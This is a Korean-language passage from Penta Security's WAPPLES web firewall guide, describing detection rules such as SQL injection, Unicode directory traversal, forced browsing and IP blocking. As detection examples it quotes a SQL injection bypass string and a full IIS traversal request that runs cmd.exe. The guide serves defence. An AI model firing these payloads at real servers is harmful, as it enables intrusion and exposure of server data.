Rules Description 21. Suspicious Access(2) 탐지 방식 사용자 정의 ver2.3부터 사용자 정의를 허용 함으로써, 룰의 유연성을 보장한다. 다음과 같은 통과 조건을 on/off 함으로써 통과조건을 변경이 가능하다. User-Agent 필드가 없는 경우 탐지 User-Agent 필드의 내용이 search bot 이름이면 통과 Accept 필드가 있을 경우 다음을 검사하여 맞으면 통과 From필드가 있을 경우 내용이 "msn(at)microsoft.com", "googlebot(at)googlebot.com“, "nhnbot@naver.com” 이면 통과 Client IP가 Search Bot Ip일 경우 통과 요청 URI의 확장자가 이미지(gif, jpg, jpeg, bmp, png)일 경우 통과 요청 URI의 확장자가 동영상(avi, mpg, mpeg, mpe, wmv, asf, flv, rm, mov)일 경우 통과 Request의 Parameter가 없으면 통과( GET METHOD ) Request의 Referer 필드가 존재할 경우 통과(대부분의 웹 브라우져는 히스토리로 Referer을 사용) Request의 Cookie가 존재만 해도 통과 (Cookie 세팅) *1차 수준과 2차 수준, 사용자 정의를 통한 통과조건에 만족하지 않으면 javascript로 cookie 세팅을 하게 한다. (아래처럼 Response의 body내용을 보낸다.) WAPPLES 이 위의 내용으로 Response를 보내면 client가 cookie값을 세팅해서 다시 Request를 보내는지 확인한다. 이런 식으로 했을경우 client가 계속 Request를 보내서 탐지가 되면 1(User-Agent가 없을경우 무조건 로그에 남김) 10, 100, 1000, 10000의 경우 로그에 남긴다. <html><script lang=javascript> document.cookie = '_accessKey2=%1%' window.location.reload(); </script></html> WAPPLES Rules
Rules Description 22. SQL Injection(1) 설명 탐지 위치 탐지 방식 웹 애플리케이션에 강제로 SQL 구문을 삽입하여 내부 데이터베이스의 데이터를 유출, 변조 가능하며, 관리자 인증을 우회할 수도 있습니다. 먼저 공격자는 웹 애플리케이션이 데이터베이스로 전달하는 인자를 찾아냅니다. 악의적인 SQL 명령어를 주의 깊게 인자로 삽입하여, 공격자는 웹 애플리케이션이 악의적인 질의를 데이터베이스로 전달하도록 조작할 수 있습니다 탐지 위치 Request Line Request Body 탐지 방식 SQL 구문이 들어있는지 여부에 대한 검사를 한다. 2. 1에서 검사한 SQL 구문이 SQL 문법에 맞는 적절한 구문인지를 판단한다. (WAPPLES은 SQL-parser를 이용) SQL 구문이 공격 가능한 구문인지를 판단한다. ex) aaa` or ‘1’=1 과 같은 의미없는 bypass 코드 기타 취약한 프로시저나 function으로 접근 가능한 SQL 구문 WAPPLES Rules
Rules Description 22. SQL Injection(2) 탐지 방식 탐지 예) name = (“penta” or name =“serurity”) and keyword =“pentasec” WAPPLES의 SQL-parser는 아래 그림과 같은 프로세스를 거쳐 위 문장이 공격인지 아닌지 판단을 한다. 각 노드 끝의 결과물들이 SQL문의 일부분이라면 와플의 SQL-parser 는 이를 SQL 명령으로 인식합니다 WAPPLES Rules
Rules Description 23. Unicode Directory Traversal 설명 탐지 위치 탐지 방식 웹 애플리케이션의 특정 인자로 개발자가 예상치 못한 디렉토리나 파일을 지정하여, 해당 파일이나 디렉토리의 내용을 살펴볼 수 있는 공격 기법입니다. 관리자의 ID와 패스워드, DBMS 서버 접속에 사용되는 정보, 소스 파일 등 서버의 주요 정보를 노출할 수 있습니다. 탐지 위치 Request Line 탐지 방식 (탐지 예) IIS의 버그를 사용하여 시스템 디렉터리에 접근하려는 시도입니다. 이는 /를 UTF-8의 확장 영역으로 억지로 할당하여 사용하고 있습니다. 위의 탐지된 예는 시스템의 cmd 명령을 수행하려 하고 있습니다. GET /msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.1 Host: 192.168.3.65 Connection: Close User-Agent: Sphere Acceptance Tester v3.0 WAPPLES Rules
Rules Description 24. URI Access Control 설명 탐지 위치 탐지 방식 강제 접근(Forceful Browsing)은, 관리자 페이지 등 중요한 페이지에 인증이 설정되어 있는 경우, 관리자 게시물 쓰기 URL 이나 관리자 게시물 지우기 URL 등 관리자 페이지의 다른 메뉴로 강제 접속하여 인증을 우회하고 관리자 권한을 획득하는 공격 기법입니다. URI Access Control 규칙은 이와 같은 강제 접근 공격을 막을 뿐만 아니라, 허용된 접근만을 허용하는 Positive Security Model을 제공함으로써 각종 웜의 확산이나 정보수집 시도 등을 사전에 차단할 수 있습니다. 탐지 위치 Request Line 탐지 방식 접근 허용할 URI를 미리 등록하고 이외의 모든 접근을 탐지 차단합니다. 이는 학습 기간을 거쳐 URI를 등록 한 후에 탐지 정책을 적용하기 때문에 웹 페이지의 변경이나 추가가 있을 때에도 학습이 필요합니다. 학습된 URI 이외에는 모두 탐지 차단하기 때문에 업로드 디렉토리와 같이 수시로 바뀌는 페이지는 미리 예외처리를 하는 것이 좋습니다. WAPPLES Rules
Rules Description 25. User Defined Pattern(1) 설명 탐지 위치 탐지 방식 사용자의 특수한 상황에 알맞은 조건을 임의로 추가 할 수 있는 패턴 기반의 룰입니다. 운영설정의 패턴 저장소에 저장된 패턴에 한해서 적용할수 있으며, Black List 방식으로 설정된 패턴과 일치하는 값이 해당 탐지 위치에서 발견되면 탐지합니다. 탐지 위치 Custom 탐지 방식 탐지 모드는 사용자 정의만 제공합니다. [사용자 정의 편집하기] 에 들어가면, 패턴 저장소에 저장되어 있는 패턴들을 확인 할 수 있습니다. 탐지위치 설명 URI 4번 부분의 자원의 절대경로 입니다. 예시)/pub/WWW/TheProject.html REQLINE 아래 그림의 1번 부분 Request-Line = Method URI HTTP-Version 으로 구성 예시) GET /pub/WWW/TheProject.html HTTP/1.1 PARAM 아래 그림의 6번 파랑박스 부분 Parameter 는 다른 페이지로 값을 전달할 때 사용하는 변수로 ‘=’ 수식 우측에 오는 부분입니다. REQHEADER 아래 그림 의 2번 부분 HTTP Request Header 부분 요구 및 클라이언트 자신에 관한 추가 정보를 클라이언트가 서버에게 전달할 수 있도록 합니다 REQCONTENT 아래 그림의 3번 부분 HTTP Request Body 부분입니다. KEY Key는 ‘=’ 수식 좌측에 오는 부분의 문자열입니다. 설정 하지 않으면, 모든 키에 대해 패턴 탐지됨. 아래 그림의 5번 주황박스 부분 WAPPLES Rules
Rules Description 25. User Defined Pattern(2) 탐지 방식 . WAPPLES Rules
Rules Description 26. Website Defacement 설명 탐지 위치 탐지 방식 Response Body 탐지 방식 이는 웹 페이지의 무단 변경 여부 탐지함으로 웹 페이지에 특정 문자열 포함 여부를 계속하여 검사합니다. Website Defacement 탐지 룰의 로그가 남았다면 이미 해킹을 당한 후이므로 주의가 필요합니다. 패턴 비교 HASH 비교 WAPPLES Rules
Rules Description 27. IP Block 설명 탐지 위치 탐지 방식 웹 환경에서는 무수히 많은 공격들이 시도되고 있으며 이러한 공격들은 대부분 자동화된 툴에 의해서 공격되는 것이 대부분 입니다. 이러한 악의적인 방법에는 특정 서버의 취약점을 찾아 접근을 시도하기도 하지만 반복적으로 접속을 시도할 수 있는 자동화된 툴을 이용하여 정상적인 접속방식으로 짧은 시간안에 다수의 접속시도를 통해 웹서버의 과부하를 유도하기도 합니다 탐지 위치 TCP/IP Level 탐지 방식 WAPPLES에서는 악의적으로 짧은 시간동안 다수의 접속을 시도하는 IP를 탐지하여 접속 횟수를 관리하며 이를 통해 사용자가 설정한 시간과 접속 횟수를 비교하여 접속 허용수치 이상이 되면 탐지된 IP를 사용자가 설정한 시간동안 차단합니다. WAPPLES Rules
WAPPLES Installation Guide Thank you The Leading Application Security Software Company building Trust Mechanism in IT World (Korea) www.pentasecurity.com 20Fl. Hanjin Shipping Bldg., 25-11 Yoido-Dong, Youngdeungpo-Gu, Seoul, Korea Tel: 82-2-780-7728 Fax: 82-2-786-5281 (Japan) www.pentasecurity.co.jp Ascend Akasaka Bldg., 3F. 3-2-8 Akasaka, Minato-ku, Tokyo 107-0052 Japan Tel: 81-3-5573-8191 Fax: 81-3-5573-8193 Copyright 1997-2010 Penta ecurity Systems, Inc. All rights reserved WAPPLES Installation Guide 41 WAPPLES Rules